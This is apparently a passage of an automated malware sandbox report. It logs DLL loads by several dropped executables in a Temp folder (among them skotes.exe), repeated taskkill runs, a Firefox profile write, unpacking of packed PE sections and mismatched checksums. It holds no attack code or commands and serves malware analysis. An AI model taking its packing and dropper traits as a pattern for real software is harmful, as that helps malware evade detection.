Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll

Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\compatibility.ini

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 2930688 > 1048576

Source: file.exe

Static PE information: Raw size of tcduwnvy is bigger than: 0x100000 < 0x2a2200

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Unpacked PE file: 4.2.QZRNZLINJW4FDHW89WOCWU0IJ.exe.b10000.0.unpack :EW;.rsrc:W;.idata :W; :EW;gwmdqjxo:EW;xvafdjqx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;gwmdqjxo:EW;xvafdjqx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 5.2.skotes.exe.b70000.0.unpack :EW;.rsrc:W;.idata :W; :EW;gwmdqjxo:EW;xvafdjqx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;gwmdqjxo:EW;xvafdjqx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.b70000.0.unpack :EW;.rsrc:W;.idata :W; :EW;gwmdqjxo:EW;xvafdjqx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;gwmdqjxo:EW;xvafdjqx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe	Unpacked PE file: 10.2.B7KMZCE66VGDP83M16.exe.530000.0.unpack :EW;.rsrc :W;.idata :W; :EW;uolrxmar:EW;whwdztvn:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;uolrxmar:EW;whwdztvn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Unpacked PE file: 12.2.994a9a760e.exe.830000.0.unpack :EW;.rsrc :W;.idata :W; :EW;uolrxmar:EW;whwdztvn:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;uolrxmar:EW;whwdztvn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Unpacked PE file: 13.2.8Z5C764IBSHZ8A5U9SVRCREF.exe.300000.0.unpack :EW;.rsrc:W;.idata :W;vxijesvo:EW;eoamyyhq:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Unpacked PE file: 32.2.994a9a760e.exe.830000.0.unpack :EW;.rsrc :W;.idata :W; :EW;uolrxmar:EW;whwdztvn:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;uolrxmar:EW;whwdztvn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe	Unpacked PE file: 33.2.DBQJ2COS8NEE0DVFAHC8.exe.a60000.0.unpack :EW;.rsrc:W;.idata :W; :EW;gwmdqjxo:EW;xvafdjqx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;gwmdqjxo:EW;xvafdjqx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe	Unpacked PE file: 34.2.4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe.5d0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;uolrxmar:EW;whwdztvn:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;uolrxmar:EW;whwdztvn:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: num.exe.8.dr	Static PE information: real checksum: 0x0 should be: 0x52a2a
Source: random[1].exe.8.dr	Static PE information: real checksum: 0x2cd975 should be: 0x2d3faf
Source: QZRNZLINJW4FDHW89WOCWU0IJ.exe.0.dr	Static PE information: real checksum: 0x1de9bd should be: 0x1e1f74
Source: HR483MUGWRQ77A8EZ5D.exe.14.dr	Static PE information: real checksum: 0x1de9bd should be: 0x1e1f74
Source: DBQJ2COS8NEE0DVFAHC8.exe.11.dr	Static PE information: real checksum: 0x1de9bd should be: 0x1e1f74
Source: random[1].exe0.8.dr	Static PE information: real checksum: 0x1d4767 should be: 0x1d9469
Source: skotes.exe.4.dr	Static PE information: real checksum: 0x1de9bd should be: 0x1e1f74
